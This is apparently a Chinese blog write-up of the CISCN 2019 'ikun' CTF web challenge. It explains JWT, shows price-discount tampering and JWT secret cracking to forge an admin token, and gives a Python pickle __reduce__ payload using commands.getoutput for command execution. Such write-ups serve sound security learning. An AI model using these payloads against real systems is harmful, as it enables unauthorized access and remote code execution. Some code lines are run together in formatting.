热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Python之序列化与反序列化(pickle反序列化篇下)

通过上一篇的内容相信你对pickle反序列化有一定的了解了,但是不落实到题目上总归不知道如何下手,所以我这里用19年华北赛区的国赛题说一下,

通过上一篇的内容相信你对pickle反序列化有一定的了解了,但是不落实到题目上总归不知道如何下手,所以我这里用19年华北赛区的国赛题说一下,在做这个题目前我们先简单了解一下JWT,JWT这玩意儿做题目做的多的话也经常在http请求包中能发现它的身影,那么它是什么,由什么构成,有什么作用呢?为了解题,我简单说一下,如果了解JWT的请跳过这一部分。

JWT

基本介绍

JWT全称为:JSON Web Token,它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。

JWTtoken的一种具体实现方法,那么token又是什么?token其实也是身份验证的一种方法,即客户端输入账号密码,服务器会发送账号密码确认信息以及token认证,防止第二次账号密码的改动,这种和前面讲的session很像,但它们具有本质区别,因为session需要存储在服务器上,token是不需要的,而JWT就是token认证的一种具体实现方法。

所以我们也能知道JWT会用在什么地方了吧?授权需要认证,信息交互也能用到认证。

基本格式

JSON Web Token总共由三部分组成,它们之间使用 点(.)连接。

这三部依次为:HeaderPayloadSignature

所以JWT的一个标准的格式为:xxxx.yyyy.zzzz

Header中的内容包括两个,一个是token的类型 例如JWT,还有一个是算法的类型 例如SHA256等等。如下:

然后用Base64对这个JSON编码就得到JWT的第一部分。

Payload是我们需要验证的信息例如:

Header头一样,也是经过base64得到第二部分。

签名部分,与phpPhar文件的签名作用相同,将HeaderPayload在用一个密匙进行加密得到签名。

例如:

HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

大概讲这么多,供初次碰到JWT的朋友了解,如果想要深究的可以看我打链接的这篇,我也是参考这个师傅文章写的。


[CISCN2019 华北赛区 Day1 Web2]ikun

19年的国赛,cxk打球被黑的那一年,还挺顺应潮流,一起看看这个题目吧!!

找Lv6

 首先可以确定我们需要购买一个Lv6等级的号,但是复现我们无法点击下一页(应该是搬运过来题目出了点小问题)。

第二页链接如上,太多了一个一个找太麻烦了,所以我简单测试了一下页面总共有500页,所以我们在1-500中找一个特殊的帐号---Lv6 

Lv4如上,那么Lv6可以依次类推,所以我们做一个简单的python脚本跑一下 

import requestss = 'http://92d0366f-fafb-4045-858e-cb978e121f9e.node4.buuoj.cn:81/shop?page='
for i in range(1,500):url=s+str(i)result=requests.get(url).content.decode('utf-8')if 'lv6.png' in result:print(url)

账号里的钱不够买这个,抓个包看看。

 

有一个price的值和一个discount的值,修改price会报错,而discount可以操作,所以我们让它的折扣打的越小越好 

然后有东西出来了,是一个目录,访问一下

既然需要admin,我们就利用到开始引入的JWT伪造

JWT伪造 

 JWT进行信息验证,我们可以在bp抓的包中看到,将其放在网站解析看看

用户123是我注册时候的用户名,尝试修改123admin,最后我们还有一点需要注意,就是签名需要的密匙从哪里弄?需要利用到一个工具c-jwt-cracker 把JWT放进去能爆出密匙,下载请参考GitHub中的教程。

密匙为1Kun,我们把这个放入伪造JWT的网站中

 

源码出来了,前摇有点长忍耐一下,Python反序列化就在下面。

Python反序列化 

直接找能序列化和反序列化的文件即导了pickle的包

有一个反序列化,但是中间还卡了一个url编码的函数,所以我们要把构造好的payloadquote编码后输送进去。

become是入口,直接反序列化

import pickle
import urllibclass errorr0(object):def __reduce__(self):return ***a = errorr0()
b = pickle.dumps(a)
c = urllib.quote(b)
print c

最重要的就是return 这里了,这里我们可以进行一些操作,读文件查找一些敏感信息,因为题目没有过滤,所以我们可以肆意导包,如oscommand等等,最后一步怎么进行命令执行?

这里介绍我了解的三个可以命令执行的包

os模块

os.system()

这是一个我觉得很鸡肋的命令执行,因为它无回显,什么都不能做,除了能执行命令成功以外没有什么用,当然如果能用bash反弹shell其实也还是可以。

os.popen()

这个命令相较与上一个更好一些,因为它可读,括号中放命令,但是得通过read()读取其中的内容

 

 

commands模块


getoutput : 获取执行命令后的返回信息

getstatus :获取执行命令的状态值(执行命令成功返回数值0,否则返回非0)

getstatusoutput :获取执行命令的状态值以及返回信息

commands.getoutput是最常用的,也是我感觉最好用的,不过仅限python2,在python3中这玩意儿被驱逐出去了,用了另外一个库代替它-----subprocess


subprocess模块

subprocess也能使用getoutput对象,它还有许多其它的骚操作,具体详情请看这篇文章。

当然由于这个模块只存在于Python3所以这个题目我们无法导入。

既然如此我们便可以开始继续做题目了,通过commands模块,我们可以命令执行,查找flag所在位置,并且读取它。

import pickle
import urllib
import commandsclass errorr0(object):def __reduce__(self):return (commands.getoutput,("ls /",))a = errorr0()
b = pickle.dumps(a)
c = urllib.quote(b)
print c

直接cat读它便可以得到flag了

 

虽然但是,主要是前面套了好几层,后面Python反序列化考的挺简单的适合初学者做一做。


最后

初学py反序列化,如果有讲的不对的地方或者大家有什么问题可以在评论区留言,希望能谅解。

参考:https://www.jb51.net/article/142787.htm#_label2

python执行系统命令四种方法比较_Tab609的博客-CSDN博客_python执行命令行

认识JWT - 废物大师兄 - 博客园

https://www.jb51.net/article/225812.htm

Python反序列化漏洞的花式利用 - 先知社区


推荐阅读
  • web.py开发web 第八章 Formalchemy 服务端验证方法
    本文介绍了在web.py开发中使用Formalchemy进行服务端表单数据验证的方法。以User表单为例,详细说明了对各字段的验证要求,包括必填、长度限制、唯一性等。同时介绍了如何自定义验证方法来实现验证唯一性和两个密码是否相等的功能。该文提供了相关代码示例。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • LVS实现负载均衡的原理LVS负载均衡负载均衡集群是LoadBalance集群。是一种将网络上的访问流量分布于各个节点,以降低服务器压力,更好的向客户端 ... [详细]
  • Spring源码解密之默认标签的解析方式分析
    本文分析了Spring源码解密中默认标签的解析方式。通过对命名空间的判断,区分默认命名空间和自定义命名空间,并采用不同的解析方式。其中,bean标签的解析最为复杂和重要。 ... [详细]
  • 本文介绍了使用AJAX的POST请求实现数据修改功能的方法。通过ajax-post技术,可以实现在输入某个id后,通过ajax技术调用post.jsp修改具有该id记录的姓名的值。文章还提到了AJAX的概念和作用,以及使用async参数和open()方法的注意事项。同时强调了不推荐使用async=false的情况,并解释了JavaScript等待服务器响应的机制。 ... [详细]
  • CSS3选择器的使用方法详解,提高Web开发效率和精准度
    本文详细介绍了CSS3新增的选择器方法,包括属性选择器的使用。通过CSS3选择器,可以提高Web开发的效率和精准度,使得查找元素更加方便和快捷。同时,本文还对属性选择器的各种用法进行了详细解释,并给出了相应的代码示例。通过学习本文,读者可以更好地掌握CSS3选择器的使用方法,提升自己的Web开发能力。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • 知识图谱——机器大脑中的知识库
    本文介绍了知识图谱在机器大脑中的应用,以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例,说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案,如搜索关键词"Marie Curie",会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革,不仅美国的微软必应,中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]
  • http:my.oschina.netleejun2005blog136820刚看到群里又有同学在说HTTP协议下的Get请求参数长度是有大小限制的,最大不能超过XX ... [详细]
  • 本文介绍了RPC框架Thrift的安装环境变量配置与第一个实例,讲解了RPC的概念以及如何解决跨语言、c++客户端、web服务端、远程调用等需求。Thrift开发方便上手快,性能和稳定性也不错,适合初学者学习和使用。 ... [详细]
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • Imtryingtofigureoutawaytogeneratetorrentfilesfromabucket,usingtheAWSSDKforGo.我正 ... [详细]
  • SpringBoot整合SpringSecurity+JWT实现单点登录
    SpringBoot整合SpringSecurity+JWT实现单点登录,Go语言社区,Golang程序员人脉社 ... [详细]
  • Gitlab接入公司内部单点登录的安装和配置教程
    本文介绍了如何将公司内部的Gitlab系统接入单点登录服务,并提供了安装和配置的详细教程。通过使用oauth2协议,将原有的各子系统的独立登录统一迁移至单点登录。文章包括Gitlab的安装环境、版本号、编辑配置文件的步骤,并解决了在迁移过程中可能遇到的问题。 ... [详细]
author-avatar
最好的冥羽
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有